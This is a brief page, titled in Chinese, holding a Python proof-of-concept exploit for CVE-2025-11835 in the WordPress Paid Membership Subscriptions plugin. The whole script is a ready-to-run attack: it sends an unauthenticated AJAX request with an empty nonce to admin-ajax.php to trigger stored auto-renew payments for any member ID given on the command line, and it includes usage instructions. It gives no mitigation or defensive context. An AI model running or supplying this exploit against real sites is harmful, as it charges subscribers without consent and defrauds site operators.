CVE-2025-11835 WordPress Paid Membership Subscriptions插件未授权自动续费漏洞

import requests import sys # CVE-2025-11835 PoC - Unauthenticated Auto-Renew Charge Trigger # Target: WordPress with Paid Membership Subscriptions plugin <= 2.16.4 def exploit_cve_2025_11835(target_url, member_id): """ Exploit missing authorization check in PMS_AJAX_Checkout_Handler::process_payment() Allows unauthenticated attackers to trigger stored auto-renew charges for arbitrary members. """ # WordPress AJAX endpoint ajax_url = f"{target_url.rstrip('/')}/wp-admin/admin-ajax.php" # Construct malicious request to trigger auto-renew data = { 'action': 'pms_ajax_checkout', # AJAX action hook 'subscriber_id': member_id, # Target member ID 'payment_type': 'renew', # Payment type: renewal 'nonce': '' # Empty nonce - no CSRF protection } try: response = requests.post(ajax_url, data=data, timeout=10) if response.status_code == 200: print(f"[+] Request sent to trigger auto-renew for member {member_id}") print(f"[+] Response status: {response.status_code}") print(f"[+] Response: {response.text[:200]}") return True else: print(f"[-] Request failed with status: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == '__main__': if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <member_id>") print(f"Example: python {sys.argv[0]} http://example.com 123") sys.exit(1) target = sys.argv[1] member_id = sys.argv[2] exploit_cve_2025_11835(target, member_id)